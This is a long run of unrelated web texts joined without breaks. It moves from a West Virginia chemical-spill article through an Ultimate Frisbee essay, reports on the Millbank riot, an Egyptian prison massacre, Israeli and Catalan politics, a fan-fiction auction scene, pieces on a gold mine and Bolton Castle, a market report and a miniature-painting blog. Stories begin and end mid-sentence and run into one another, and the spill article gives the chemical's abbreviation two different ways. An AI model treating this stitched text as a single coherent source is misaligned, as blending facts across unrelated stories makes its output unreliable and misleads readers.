water, baby wipes, and frozen TV dinners requiring no water for cooking or cleanup. And though about 70,000 customers have been told their water is safe again as of Wednesday night, the spill has renewed the long-running debate over environmental oversight of the coal and chemical industries, the foundation for West Virginia's fragile economy. A Century of Chemicals Chemical Valley begins at the hamlet of Gauley Bridge, population 614, in central West Virginia, where the New River and the Gauley River converge and flow into the much larger Kanawha. That river wends through the mountains and empties into the Ohio River on the Ohio-West Virginia border at Point Pleasant. View Images The chemical industry followed early salt miners and then the kings of coal to West Virginia in the late 1700s. But the real buildup came with World War I and the demand for explosives and other chemical products. The town of Nitro, 14 miles downriver from Charleston, is named for gunpowder manufactured there in 1917 and 1918. A plan to make mustard gas in the town for battlefields in Europe never materialized. But Agent Orange, which was used extensively—and controversially—in Southeast Asia to defoliate jungles during the Vietnam War, was produced at Nitro's Monsanto Co. plant from the 1940s until 1971. Nitro has been back in the news more recently. Two years ago, Monsanto agreed to pay $93 million for medical monitoring of some 5,000 Nitro factory workers who alleged in a class action suit that their town had been contaminated with dioxin, a toxic byproduct of Agent Orange production that is linked to cancer. The chemical giant also paid $9 million to clean dioxin-contaminated dust from 4,500 homes, according to the 385-page court order. Accidents and Explosions By the time of the Monsanto settlement, Chemical Valley had already achieved a degree of global infamy, if only by association. In 1984, thousands of villagers in India died after methyl isocyanate, or MIC—a chemical used to make pesticides, plastics, and other products—escaped from the Union Carbide plant in Bhopal. The only place in the U.S. where MIC was manufactured and stockpiled was at Union Carbide's plant in Institute, West Virginia, in the heart of Chemical Valley. Two years after the Bhopal disaster, Union Carbide sold its factory. The plant saw nonfatal incidents, including a leak, an explosion, and a fire, during the late 1980s and 1990s. Then, in 2008, after the plant was bought by Bayer CropScience, an explosion killed two workers. Projectiles from the explosion nearly penetrated an aboveground MIC storage tank, drawing attention from federal investigators concerned that the plant was vulnerable to a Bhopal-like disaster. In 2011, after a nearly 30-year court battle with residents of Institute, Bayer CropScience dropped plans to resume production of MIC, according to the Associated Press, and announced it would dismantle the production unit. Coal Companies vs. Chemical Companies When drinking water is contaminated in West Virginia, coal-mining operations are usually the culprit. As coal is prepared for shipment, it is washed with chemicals, including a cleanser known as crude MCHM, which is at the heart of last week's accident. The toxic wastewater produced in the cleansing process, known as coal slurry, is either injected into the ground—a moratorium bans that for now, says Ohio Valley Environmental Coalition's Stockman—or is stored in impoundment ponds, or sludge "lakes" behind earthen dams. Last week's spill is believed to be West Virginia's first chemical accident involving contamination of a large municipal system, and Governor Earl Ray Tomblin has warned out-of-town media against misattributing blame. "This was not a coal company incident, this was a chemical company incident," he said, in an account of the scolding published in the Charleston Gazette. "As far as I know, there was no coal company within miles." But Donna Willis, 58, a disabled legal secretary who grew up in Institute and remembers the toxic releases and explosions, argued that drawing a bright line between the coal and chemical industries as if they have nothing to do with each other misses the larger point. "I don't drink our water," she said. "Unless it is in a container that says purified water, distilled water, or I bought it myself and put it through my machine, I don't drink anybody's water. Not in this state." She has so little trust in official pronouncements that she doesn't believe assurances Wednesday from West Virginia American Water, the regional supplier involved in the incident, that Nitro's water is safe again. "Until the Next Thing Happens" For all the industrial incidents and accidents, residents say not much in their state seems to change. After the 2008 explosion at Bayer CropScience, the federal Chemical Safety Board recommended new state and federal safety regulations. The safety board returned to West Virginia in 2010, after an accidental release of toxic gas at the DuPont plant in Belle killed one worker there, and again urged new safety oversight. But the measures found little support in the capitol in Charleston. The Chemical Safety Board dispatched a team to West Virginia this week to investigate how 5,000 gallons of the chemical 4-methylcyclohexane methanol (MCMH) leaked into the Elk River above Charleston. Maya Nye, who grew up in St. Albans, across the Kanawha River from Nitro, is working to improve federal oversight of the coal and chemical industries in her region. She's president of People Concerned About Chemical Safety, which pressed West Virginia lawmakers in 2009 to pass legislation modeled on a California industrial safety program that Nye says has minimized industrial accidents there. The proposal calls for annual safety audits by public health officials and other chemical safety experts. The Chemical Safety Board made similar recommendations in its reports of the 2008 and 2010 accidents, but the proposal died in the legislature without coming up for a vote. "We just live with it until the next thing happens and then we rehash it all over again," Nye said. "But it doesn't ever get any better."You and I just met. I’m a 29-year-old dude from Winnipeg. You’re 19, from Toronto, but might as well have been 40-something, from Tulsa. Last time this happened, you were 25 and from Australia. Today, we’re seated beside each other on a plane. We could just as easily have been waiting in line at the post office, or standing together at a bus stop, straining to spot our ride home. You jumped up and smiled politely when I got to our row and motioned apologetically, across you, at the window seat. I’ve already made a boring joke about “the leg room on these things”, and you’ve silently dreaded the inevitable moment when I’ll bring up the weather. You feign interest when I explain that I work in the insurance industry and am on my way to a conference. You tell me that you’re on a break from school (you mentioned earlier what you’re studying, but I immediately forgot), and that you’re going to visit your grandmother. We connect sincerely for a moment when I let slip that I’m going to miss my five-month-old son while I’m away (you have a nephew right around the same age), but within a couple of minutes it’s dead silent again. They haven’t even given the safety instructions yet. You’re cursing yourself for forgetting your headphones. This flight’s going to last an eternity. Just when you think I might leave you alone, I butt in with a question: what happened to your hand? You mumble that it’s a sports injury, as you unconsciously tuck your splinted finger out of sight. Basketball, I speculate, or maybe an unusual soccer injury. No, “Ultimate Frisbee…”, you trail off, praying that I won’t demand to know what that is. I pause. “You play Ultimate?” All of a sudden, the awkwardness vanishes and it’s as if we’ve known each other forever. We compare notes on the teams we’ve played for and the tournaments we’ve been to, trade war stories about double-game-point thrillers, and marvel in retrospect at the best plays and players we can remember seeing in person. We haven’t just found common ground – we’ve uncovered each other’s secret identities. The secret identity that Ultimate players share is a funny thing: on the one hand, it enables us to relate so easily to others who share it, when we might otherwise be completely unable
injuries after the violence flared at Millbank Tower, next to the River Thames in central London. Hundreds of protesters stormed the building after smashing through the windows chanting "die Tory scum". Rocks, wooden banners, eggs, rotten fruit and shards of glass were thrown at police officers trying to beat back the crowd with metal batons and riot shields. Inside the building, windows were kicked in, desks and chairs were overturned and the walls were daubed with anarchist graffiti. Protesters set off fire extinguishers, overturned filing cabinets and threw office paperwork and business cards from the smashed windows. Dozens swarmed onto the roof where they hurled fire extinguishers, burning banners, bottles and cans into the crowd. Several people were knocked unconscious and some were seen with their faces streaming blood after being hit by missiles thrown by protesters Placards and banners were being burnt, to cheers from the crowd, while protesters inside the building used chairs as they smashed and kicked their way through more of the glass frontage, effectively opening up the whole atrium to the crowd. A confetti of torn newspaper rained down on the hundreds of protesters gathered outside the Millbank atrium after students gained access to the upper floors of the building. Water also poured down on them, seemingly from a broken sprinkler system above. A red flare was let off as the atmosphere within the crowd became increasingly volatile. The crowd responded to the heavy police presence with loud booing, screaming and chanting. Students who had got inside the building's atrium tried to pull down the few remaining huge sheets of glass. Others hurled stuffed pillows while the chants of "Tory scum" increased in volume. A Conservative Party spokesman said that all its staff were "safe" but could not confirm whether or not they had been evacuated from the building. he demonstration, organised by the National Union of Students and the University and College Union, had started peacefully, with up to 50,000 students, lecturers and supporters, marching from Whitehall past Downing Street and Parliament. NUS president Aaron Porter said a small minority of protesters had "hijacked" the march, describing the violence as "despicable". He said the violence was not part of the organisers' plans, blaming the trouble on a "small minority" he believed had arranged it beforehand. "We talked about the need to prevent anything like this and how important it was to act in a responsible way. Unfortunately a minority have undermined us." An NUS spokesman said: "The trouble makers have let down students." UCU general secretary Sally Hunt said: "The actions of a minority should not distract from today's message. The overwhelming majority of staff and students on the march came here to to send a clear and peaceful message to the politicians. The actions of a minority, out of 50,000 people, is regrettable."The full extent of the carnage at Al-Qata Prison outside Cairo as guards fought back is only now becoming clear. One prisoner, speaking from inside his cell, told The Daily Telegraph that inmates had drawn up a list of 153 men killed during a siege lasting a full two weeks. He described how as the men celebrated the fall of Mr Mubarak, a man standing next to him was hit by gunfire, an explosive bullet ripping into his head through the cell window. “We started to cheer and shout,” said the prisoner, whose name The Telegraph is witholding for his protection. “This man was standing here and was just shot through the eye. He died immediately. “While we were carrying his body to the gates of the prison, the guards shot us again. They even shot the body again.” Human rights groups have estimated the number of dead at al-Qata at 70. The prosecutor general of the area west of Cairo where the prison is located is said to have seen 23 bodies in the local morgue on one day alone. The unusual nature of the deaths shows how the regime led by Mr Mubarak fell apart in its final days. As the “Day of Rage” took hold on January 28, scores of people were killed in front of government buildings in Cairo by police and the Presidential Guard, who fired tear gas, buckshot and live ammunition into demonstrations. Then, coinciding with the sacking of the Interior Minister, Habib al-Adly, the police disappeared. No full account has yet been given of why this happened, but Mr al-Adly was arrested on Thursday. At some prisons, inmates were left to escape. At least 11 Hizbollah and Hamas militants fled, some receiving hero’s welcomes in Gaza and Lebanon, including Sami Chehab, a Hizbollah leader, Ayman Nofal, an al-Qassam Brigades field commander, and Muhammad Ramadan Ash-Shaer, a smuggler. The trouble at Al-Qata started when inmates, mostly long-term prisoners on criminal charges, also demanded to be set free. Remarkably, a prisons inspector negotiating with them, General Mohammed al-Batran, was shot dead by one of his own men after he appeared to concede to them. At that point, other guards joined in, first killing a prisoner who tried to help the general, a man named as Mahmoud Hassan Mohammed. Most of the deaths occurred in the following 24 hours, inmates and human rights workers said. For five days there was no food and only 15 minutes water a day, and bodies were left to decompose. Inmates who tried to venture into the yard to seek water or retrieve bodies were gunned down, they said. “My son called me at 4am on January 30,” said Mohammed Eid al-Sayed Ali. “He said, ’Father, they are killing people here. We have 80 bodies. “At 10 o’clock that night I received a phone call from one of his fellow inmates. He said, ’I offer you my condolences.’ He had been shot dead in front of the mosque in the yard.” His son, Adel, had been preparing for release. His father said he had served eight years for a drugs offence he had not committed. A spokesman for the government’s medical legal service said the number of deaths was not clear. An interior ministry official said the figure of 153 was “nonsense” but could not give the true number. He said the incident was now in the hands of the prosecution service.ONE of the low points for Binyamin Netanyahu in Israel’s election campaign early this year came in response to a report criticising his government’s handling of the housing crisis. The prime minister declared: “There’s talk of house prices and cost of living. I don’t forget life itself, living—but the greatest challenge we are facing in our lives as Israeli citizens and this state is the threat of Iran’s arming with nuclear weapons.” He went on to confound the polls and win a fourth term as prime minister; but “life itself” has become an ironic catchphrase for many of his opponents. To them it symbolises how Mr Netanyahu’s administration has focused on the Iranian threat at the expense of dealing with pressing issues closer to home. Now that the world’s powers have agreed on a nuclear deal with Iran, these problems are coming home to roost. Ten weeks after it was sworn in, the new government looks shaky. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. The political turmoil which led to early elections prevented the passage of a state budget for 2015, and the five-party government is struggling to find over 8.5 billion shekels ($2.25 billion) to meet promises made during the long coalition negotiations. A staunch believer in fiscal discipline, Mr Netanyahu has already had to agree to relax next year’s deficit target from 2% to 2.9% of GDP. The Treasury warns that if the coalition’s demands are met, the deficit could go as high as 3.5%. These budgetary woes are further complicated by two long-term economic issues now roiling Israeli politics. The government has been forced to postpone a vote on the future of Israel’s natural-gas sector, amid accusations that Mr Netanyahu has struck a poor deal with a consortium of the local Delek Group and the America-based Nobel Energy that currently holds most of the licences to extract gas from Israel’s offshore Mediterranean gasfields. A government report on the defence budget was published this week, which called for a reduction of 12% in the number of career officers and for shortening conscription for men from three to two years. The report prompted an angry counter-briefing from the Israel Defence Forces General Command. Mr Netanyahu will now have to choose between doing what the report advises, as many of his ministers are demanding, or siding with his close political ally, Moshe Yaalon, the defence minister, who supported the generals by calling the report “shallow” and “delusional”. Backed by only 61 members of the 120-strong Knesset (parliament), Mr Netanyahu is at the mercy of every backbencher. Threats by the most right-wing elements in the coalition not to support the government in crucial votes if it continues an unofficial freeze on new building in Jewish settlements in the occupied Palestinian territories led last week to the issuing of 906 permits for new housing units for Israelis in the Palestinian West Bank. Mr Netanyahu is gearing up for another fight over the Iran deal, which he wants the US Congress to block. But he will almost certainly lose, and is beginning to realise that his troubles are closer to home than Tehran. His hopes that the Labour party would join his coalition, easing his domestic problems, were dashed on July 19th when its leader, Yitzhak Herzog, told a party conference that “the Netanyahu government failed in preventing the nuclear deal” and that “we have to send him packing.” At this point, the embattled prime minister can ill afford defeats both in Congress and the Knesset.Meibi Project is now holding a collaborative photo-painting exhibition in Nagoya, Japan from 14 March to 11 April 2015. The photos are the portrait works of the Indonesian photographer and Meibi Project’s founder Agro Rachmatullah, whose aim is to introduce more about the personalities, dreams, and achievements of Japanese women through the medium of art. The paintings are sent by various collaborating artists from outside Japan. Since starting Meibi Project in 2011, we received many fanarts from around the world. We are really happy that our portraits inspire people to create more art, so this time we want to return the favor by giving artists all around the world the chance to exhibit their drawings in Japan. For the first stage of this exhibition we received 68 submissions with various styles ranging from anime to the Japanese traditional ukiyo-e. If you like to draw, you can still participate for the second part of the exhibition by sending your art here! Here are the 11 paintings that were selected for the first part: Each photographer interprets the same scene and object differently by using a different focal length, composition, and camera settings. It’s really interesting to see how the resulting photo gets reinterpreted differently by various artists through their drawings. If you want your painting to be exhibited in Japan, you can still submit for the second part here! We will post a more thorough coverage of the event at a later time. For those who didn’t get selected this time, we will post the images on our Facebook and Twitter page. Once again, congratulations for all who passed! Meibi Photography Exhibition “E ni Narimasu??” Place: Yamate Cafe, 1-17-1 Yamate-dori, Showa-ku, Nagoya, Japan Date: March 14-April 11 2015 (except Sunday) Time: 11:00-16:00SPAIN’s Civil Guard raided printers in Catalonia yesterday, in a desperate hunt to catch anyone making ballot papers for the independence referendum on October 1. The armed officers staked out the Indugraf Offset printers in Constantí, near Tarragona in southern Catalonia, searching staff and cleaners going in and out of the building. Spain’s conservative government, desperate to crush the vote, have instructed security forces to prevent any preparations, and to seize any materials that could be used in a referendum. Pro-independence campaigners from the leftwing CUP party protested outside the firm, handing mocked-up ballot papers over to officers. “We’ve handed referendum voting slips to the Civil Guard. They don’t have to look for printing houses and pressure workers. They can leave now,” they tweeted. Just hours after the Catalan parliament passed the legislation to hold an independence referendum on Wednesday, Spanish Prime Minister Mariano Rajoy ordered a crackdown on supporters of separation. “There won’t be a self-determination referendum,” Rajoy told reporters. “I will do whatever is needed, without relinquishing anything, to prevent it.” Spain’s constitutional courts have suspended the vote, as expected, and have warned all officials in the region, all the mayors in Catalonia, about 1,000 public servants in total, including the regional police chief, to comply with the decision or face consequences. Earlier, chief prosecutor José Manuel Maza told reporters he had asked security forces to investigate what preparations, if any, the Catalan government had made to hold the referendum. Maza has already launched lawsuits against the entire Catalan cabinet and all members of the parliament who backed the referendum bill. They’ve been charged with perversion of justice, disobedience and misuse of public funds. The director general of Catalan public television, TV3, and Cataluña Radio were also warned by the Spanish government that they had a duty to prevent the vote from being prepared or taking place. “We all decide together about what belongs to all of us, which is our country,” Rajoy said. He added: “What happened yesterday is an act of dishonourable disobedience to our democratic institutions,” said Rajoy. “We are all obliged to comply with the decisions of the Constitutional Court.” Nevertheless, the Catalan government have said they will proceed. Carles Puigdemont, the president, sent a letter to all the region’s city halls on Thursday asking them to help facilitate the vote. Yesterday morning, La Vanguardia, a national newspaper printed in Barcelona, reported that more than 600 of the 943 mayors had agreed to help. Around three had said no. Barcelona’s mayor,` Ada Colau, has not yet said if the city would open its polling places on October 1. Around 360,000 people are expected to take part in a pro-independence march through the city on Monday. If yes wins the referendum vote, known as 1-O, the Catalans will declare independence three days later on October 4. Early yesterday morning, after hours of debate, the parliament passed the Law of Transitional Jurisprudence and Foundation of the Republic – powers they say will allow them to go from being part of Spain to becoming a new independent country. While the JxSí (Together for Yes) coalition and CUP (Popular Unity Candidacy) backed the Bill, around 62 politicians from Ciutadans (Citizens), PSC (Socialists’ Party of Catalonia) and PP (Popular Party) walked out. JxSí, deputy Jordi Orobitg said: “Catalonia and all the Catalans are worthy of this opportunity”, before ending his remarks with “Visca Catalunya lliure”, which translates as “Long live free Catalonia”. CUP deputy Benet Salellas denied that there had ever been an ethno-nationalist rationale behind the Catalonian independence movement. “In this country people have multiple identities – identities that go beyond flags,” he said. “This isn’t a conflict of Spanish and Catalan law. It’s a debate between an established power and a power that is constructed from below and looks to argue power from the street.” The leader of the Ciudadanos opposition, Inés Arrimadas, said the push for independence would have devastating consequences for devolution. “Many of you don’t believe the lies that have been told these last months. Be brave please. We’re putting the self-governance of Catalonia in danger,” warned Arrimadas. She ended: “You’ve burnt all the boats, you’ve broken all the bridges, and you’ll be the only ones that won’t take part in the solution.”The FazbearFanatics forum managed to rent out a building to hold an auction, to get rid of the remaining relics of the Fazbear Legacy. There was a surprisingly large turnout. "Three hundred!" "I hear three hundred! Do I hear four hundred?...Going once... going twice..." "Five fifty!" "Five hundred and fifty dollars! Anybody else? Going once... going twice..." "Sold!" "An authentic, if burnt, Foxy head! It's, uh, it's got a light in it!" "Fifty dollars!" "Ha, fifty?! That's all?! Do I hear a hundred?" "Two hundred!" "That's more like it!" "Six hundred." A silence fell upon the crowd. "Sir, it's authentic, but it's just the head!" A few members of the auction laughed at the auctioneer's comment. "I know. I'm not retracting my bid." "A-alright, then, sir! Anyone willing to go higher? Going once... going twice..." No one spoke up. "Sold!" "Alright, then, we have one final item, and it's nothing to scoff at! This, ladies and gentlemen, is a box. Not any box, mind you, but a box full of bits and pieces of Freddy Fazbear's Pizza's own animatronics! Our supplier, Mr. Tyler Bluth, has confirmed its authenticity!" "Five hundred!" "Oh, quite a nice start!" "One thousand!" "That's the highest bid we've had all night! Does anyone w-" "Three thousand!" "My word!" "Ten thousand dollars." The audience stared wide-eyed at the grinning man who placed the ridiculously large bid. The auctioneer looked absolutely astounded. He adjusted his tie and cleared his throat. "Sir, are you sure? I mean, I'm the auctioneer, but even I would say this is a bit overboard." The grinning man spoke up. "Ah, it's fine. I made you all what you are today, of course." The man had short, dark hair, and was quite an intimidating figure, though he was an amiable man. He wore a gray suit and leaned forward in the wooden seat he sat upon. "Well, Mr. Cawthon, that may be true, but that's no reason to-" "To put the forum in a better place? To give them more material to post about? That's not so terrible!" "I-... I suppose not. Well, I'll be damned! Ten thousand dollars! Anyone else willing to go higher?" The crowd seemed almost offended at the question. "Sold!" As Mr. Cawthon left the building, along with the rest of the FazbearFanatics members, quite some time later, the auctioneer came up to him. "So... Mr. Cawthon... give me the real answer. Tell me why you paid so much for that box! I'd love to know!" Mr. Cawthon winked at the auctioneer and offered a smirk. "A true magician never reveals his secrets."Descend Into The World's Deepest Gold Mine The Money Project is an ongoing collaboration between Visual Capitalist and Texas Precious Metals that seeks to use intuitive visualizations to explore the origins, nature, and use of money. Humans will do almost anything for gold. In fact, they will even suspend themselves 2.5 miles into the Earth - braving extreme temperatures, armed thieves, and constant seismic activity - just to mine a 30-inch gold reef. Welcome to another day at Mponeng, the world's deepest gold mine. The Depths of the Witwatersrand If you own any gold, there is about a 50% chance it comes from the Witwatersrand Basin in South Africa. Gold was first discovered there in 1886, and it is speculated that the discovery may have only been possible because of an asteroid impact. The Vredefort crater, the world's largest impact crater at about 200 miles in diameter, is now 2.02 billion years old and potentially helped reveal the Witwatersrand gold outcrops. The Mponeng gold mine, located west of Johannesburg and owned by AngloGold Ashanti, takes advantage of some of the deepest and richest areas of this deposit. Mponeng also represents the extent to which people are willing to go to take advantage of this region's unparalleled mineral wealth. Going Down… Each day, roughly 4,000 miners take the plunge to get to the bottom of the mine. The journey includes taking the world's tallest elevator, which hits a top speed at 40 mph, to make their way down. That far into the Earth's crust, conditions are intense. Rock walls in the Mponeng mine reach temperatures of 140°F (60°C) and humidity levels often exceed 95%. To keep things cool, the mine uses a novel cooling system to manage temperatures. Over 6,000 tonnes of ice slurry are pumped into underground reservoirs, and giant fans help to spread the air flow. Every day, about 5,000 lbs of explosives are blasted in the mine, and 6,400 tonnes of rock are excavated. Breaking New Ground Gold production at the world's deepest gold mine has been declining each year, so miners going even deeper to try and get gold. The continued search for gold in Mponeng has led to scientific discoveries. A bacterium called Desulforudis audaxviator was found in groundwater - and it's quite unique. The bacterium exists independently from the sun, using energy from natural radioactivity to create food. Some experts think that similar life forms could exist on other planets. The wealth of the mine has also created an unusual crime problem. Armed, illegal miners called "ghost miners" descend into the mine for months at a time, which turns their skin pale due to a lack of sunlight. This has helped create an underground (pun intended!) marketplace, where legitimate miners profit from the ghost miners' existence. They can sell a $1 loaf of bread for $12 underground, where it is in high demand. Mission Accomplished At the bottom of the world's deepest gold mine, there is a 30-inch seam of gold called the Ventersdorp Contact Reef. This is what the miners came for, but soon they will have to dig even deeper. In fact, plans are already in place to tap into neighboring gold reefs, which would extend the life of the mine beyond 2040.Bolton Castle is a 14th-century castle located in Wensleydale, Yorkshire, England (grid reference ). The nearby village Castle Bolton takes its name from the castle. The castle is a Grade I listed building and a Scheduled Ancient Monument.[1][2] The castle was damaged in the English Civil War, and “slighted” afterwards, but much of it survived. It has never been sold and is still in the ownership of the descendants of the Scrope family. History [ edit ] The castle was built between 1378 and 1399 by Richard, 1st Baron Scrope of Bolton, and is an example of a quadrangular castle. The licence to build it was granted in July 1379 and a contract with the mason John Lewyn was made in September 1378. Construction was reputed to cost 18,000 Marks.[3][4] The 16th-century writer John Leland described 'An Astronomical Clock' in the courtyard and how smoke was conveyed from the hearth in the hall through tunnels. Bolton Castle was described by Sir Francis Knollys as having 'The highest walls of any house he had seen'. In 1536 John, 8th Baron Scrope supported the Pilgrimage of Grace rebellion against the religious reforms of King Henry VIII and gave Adam Sedbar, Abbot of Jervaulx sanctuary in the castle. In consequence John Scrope had to flee to Skipton pursued by the King's men but Abbot Sedbar was caught and executed. In retribution the king ordered Bolton castle to be torched, causing extensive damage. Within a few years, some of the damage had been repaired and Sir John had regained his seat in Parliament. Mary, Queen of Scots, at Bolton [ edit ] Mary, Queen of Scots was held prisoner at Bolton for six months.[5] The story goes that she escaped and made her way towards Leyburn only to lose her'shawl' on the way, hence the name ('The Shawl') of the cliff edge that runs westward out of Leyburn and is a well-known spot for easy walks with excellent views. After her defeat in Scotland at the Battle of Langside in 1568 she fled to England, posing a threat to the position of the Protestant Queen Elizabeth I. Mary was initially held at Carlisle Castle under the watch of Henry, 9th Baron Scrope, but Carlisle proved unsuitable and in July 1568 Mary was moved to Bolton. Her primary keeper at this location was Sir Francis Knollys who gave Mary Henry Scrope's own apartments in the South-West tower. Of her retinue of 51 knights, servants and ladies-in-waiting only 30 of her men and six ladies-in-waiting were able to stay in the castle, the rest taking lodgings nearby. Her household included cooks, grooms, hairdresser, embroiderer, apothecary, physician and surgeon. Bolton Castle was not initially suitable for housing a Queen, so tapestries, rugs and furniture were borrowed from local houses and nearby Barnard Castle in County Durham. Queen Elizabeth herself loaned some pewter vessels as well as a copper kettle.[6] Mary's keepers allowed her to wander the surrounding lands and often to go hunting. Her prime occupation while at the castle was having her hair done by her friend Mary Seton. Francis Knollys (the elder), whom Mary nicknamed 'Schoolmaster', taught her English, as she only spoke French, Latin and Scots. She even met with local "Papists" (Catholics), something for which Knollys and Scrope were severely reprimanded.[6] In January 1569, Mary was removed from Bolton Castle for the last time, being taken to Tutbury in Staffordshire where she would spend much of the 18 years before her execution in 1587.[7] Later history [ edit ] Bolton Castle in June 2018, partially restored After the death in 1630 of Emanuel Scrope, 1st Earl of Sunderland, without any legitimate children, Bolton Castle was inherited by Mary the eldest of his three illegitimate daughters. She married Charles Powlett, 6th Marquess of Winchester and 1st Duke of Bolton. The castle is currently owned by their descendant, Harry Algar Nigel Orde-Powlett, 8th Baron Bolton, who inherited on his father's death.[8] His residence in 2016 was Wensley Hall, Wensley, Leyburn. [8] Bolton Castle is run by his son and daughter-in-law, Thomas and Katie Orde-Powlett.[9] There is also a garden including a maze, herb garden, wild flower meadow, rose garden and a vineyard on the site.[10] Falconry displays are provided to visitors during some months. The castle is now a tourist attraction and is also rented out occasionally for events such as weddings.[11] Part of the structure is a ruin but the other section has been restored; this attraction had a 4.5 star rating in mid 2018 by the users of TripAdvisor who had visited the castle.[12] Film location [ edit ] Several film and television productions have used the castle as a location, including the films Ivanhoe (1952), Elizabeth (1998)[13] and the television series Heartbeat and All Creatures Great and Small when James proposes to Helen.[14] An episode about William Shakespeare, Bill, was also filmed at Bolton Castle as part of the Horrible Histories (2015 TV series) children’s series.[15][16] Governance [ edit ] Castle Bolton is the name of the nearby village with a population under 100 in the 2011 Census. Bolton Castle is also the name of an electoral ward. The total population of this ward taken at the 2011 census was 1,269.[17] See also [ edit ] References [ edit ]103 SHARES Facebook Twitter Flipboard Stumbleupon Reddit Alcoholic Beverage Market in the US 2016-2020 Research and Markets has announced the addition of the “Alcoholic Beverage Market in the US 2016-2020” report to their offering. The alcoholic beverages market in the US to grow at a CAGR of 3.51% by revenue, during the period 2016-2020. The report covers the present scenario and the growth prospects of the alcoholic beverages market in the US 2016-2020. To calculate the market size, the report considers the revenue from the retail sales of alcoholic beverages in the country. It also includes the market size based on volume, which has been calculated based on the retail consumption of alcoholic beverages. The report also includes a discussion of the key vendors operating in this market. The market for craft beer is on the rise. The craft beer market in the US was valued at $19.6 billion in 2014 and is expected to reach $45.4 billion by 2019, growing at a CAGR of 18.3% during the forecast period. Craft or locally brewed beers have a distinctive taste compared with regular beers and are sometimes made from different ingredients and flavors. These are brewed and served in bottles, cans, and kegs. Consumer preference for craft beer has grown and evolved in the US and is an important factor that has contributed to the demand. According to the report, a key market driver is the rising number of wineries, breweries, and distilleries around the US. Younger consumers increasingly seek variety and exclusivity in alcoholic beverages. This is apparent in their demand for locally brewed beverages like craft beer and flavored alcoholic beverages. In an attempt to cater to this rising demand, existing vendors and new entrants alike have invested in new wineries, breweries, and distilleries. California is the largest state in terms of the number of wineries, with over 4,000 wineries. Further, the report states that a challenge to the market could be the high taxes levied on spirits and alcohol.First of all, the subtitle of this post should be “My Gateway to Miniature Figure Painting.” After receiving Star Wars: Imperial Assault last Christmas, which I talk about in a different post here, I couldn’t help but feel like there was something missing in the game. The mechanics and gameplay of Imperial Assault have been outstanding in my experience, and I cannot get enough of this game. But the miniature figures that came with it are just bland. They are made of a gray, soft, rubbery plastic. And those of us who have seen Star Wars (actually, who hasn’t?) can quickly identify with the iconic white and black Stormtroopers, the Imperial Officers in uniform, the gun-slinging bounty hunters, and the huge brown fuzzy Wookies. So I set out on a quest to make these figures come to life — by painting them. A quick Google search of miniature painting and some guides will lead to many helpful tutorials and resources. It turns out that there is already a big community of hobbyists who have been doing this for years, and I somewhat knew this already from my high school years when I really wanted to get into the Warhammer 40K war-gaming scene (I was so broke). I won’t pretend that I know much about the history of miniature painting, but I’ll guess it goes back at least to the days when people started playing role-playing games like Dungeons and Dragons intertwined with people who built model trains and/or other dioramas. These people are creative, artistic, and passionate. I believe I have the first two, and I am starting to build up my passion for the hobby of board gaming and miniature painting. One of the most helpful communities I happened to come across was the /r/minipainting sub-Reddit (Shout out to ya’ll!). Finding this community was like taking the plunge into the hobby or being thrown to the wolves, some really nice, patient, and helpful wolves. The side-bar contains links to beginner resources such as guides, tutorials, and terminology to get you up to speed with the vernacular. The posts are a collection of questions, advice, and works-in-progress complete with constructive comments and critiques. After reading many, many posts and being inspired and excited by people’s works and stories, I decided to purchase a kit instead of individual pieces of equipment. I decided on the Reaper Bones Learn to Paint Kit; the Amazon Prime shipping definitely didn’t hold me back. Prior to purchasing this kit, all I really knew was it was a nice little case that contained an assortment of acrylic paints, two different types of paintbrushes, three unpainted miniature figures, and a short guide to painting the three figures. I purchased a helping hand with a magnifying glass and LED flashlight to help me get started. There was one thing I wanted to be aware of in starting this hobby, and that was spending. Knowing myself, I didn’t want to buy every little paint color, brush, accessory, or figure that I came across. I wanted to be reasonable with my spending. When the kit arrived, I tore the box open and admired each content one by one. I started reading the guide, which first discussed preparation steps and paintbrush care. After washing the figures with warm soapy water and letting it dry, I was ready. The first lesson was to paint the Skeleton Archer which, like the other two figures, came in a white, soft plastic. Both the paint and the figures were manufactured by Reaper Miniatures. Because of this, the paints were specifically designed to adhere to the surface of the figures without the need for any primer. Most other figures will require a first layer of primer which will allow additional layers of paint to stick to the figure. Since the figures are made of a soft but durable plastic, some parts can come bent but can be easily fixed by dipping it in warm water, holding the desired shape, and then dunking it in cold water to make it hold the new position. I had to do this for the bow of the Skeleton Archer. Getting started is probably the most difficult part of this process, in more ways than one. First, learning and comparing different products to initially order can be time consuming and confusing. Second, the actual act of starting your first miniature painting can be awkward and almost aimless. What should I use to hold the figure up? How should I hold it? Am I getting adequate light? Which colors and layers should I do first? In fact, miniature figures live up to their name. The first time you hunch over your miniature figure to start painting you’ll realize how small it actually is and you’ll get cross-eyed focusing on something so small and close to you. Nevertheless, these are all part of the learning curve. The included instructional manual walks you step-by-step through the different techniques, colors necessary, and the rationale for the choices. In short, each figure will require a base layer, a wash, and highlights. The base layer requires at least two coats and is usually a color identifiable with the part or object you are painting. The base color should also be a color that can be darkened and lightened with subsequent layers. This means that you should avoid choosing pure black and pure white as your base layers because you can not go darker than black or lighter than white. After the base layer comes the wash. As I have learned it, a wash is a darker tone of the base color that has been watered down. For example, where a gray base layer might require a consistency of one drop of paint to one drop of water, a wash will have a ratio of 1 drop of paint to 4-6 drops of water. The wash, as the name suggests, is a murky and watery mixture that should flow easily over the base layer. It shouldn’t paint over the base layer, but instead give it an initial look of being darker and wet. The fluidity of the wash allows it to reach deep cracks and crevices which give detail to the figure. As the water dries, a thin and darker layer of paint will settle over the base layer. This is my most favorite part of the painting process because it really defines the details of each figure, giving each one a unique personality, whether it is softness, grit, or some other texture.It is this process that brings out the links of a chain mail, the fuzziness of a fur coat, the grain of wood, and the silkiness of capes. In the Skeleton Archer, the wash brought out the depth and spaces in the rib cage and fingers and the texture of the wooden bow. The final step, according to the guide, is to bring back the darkened areas to the base color and to add highlights. The wash process traces out the crevices, but it also darkens the overall figure. A technique called drybrushing is employed. As the name suggests, drybrushing is a way of painting that requires as little amount of wet paint on the tip of the brush as possible. Unlike the previous steps where the paint flows and sticks to the figure, dry brushing limits the amount of paint that goes on the surface of the figure. This process prevents the highlights from seeping back into the details and undoing what the wash produced. Additionally, this step allows you to pick and choose areas of the figure which may be exposed to more light than others. The highlights are applied with a lighter tone of the base layer in certain areas of the figure to suggest a source of light, generally above the figure. For example, the top part of a steel helmet, shoulder pads, or armor might be receiving more light, making them look lighter or brighter. After finishing the Skeleton Archer, I started to work on the Orc 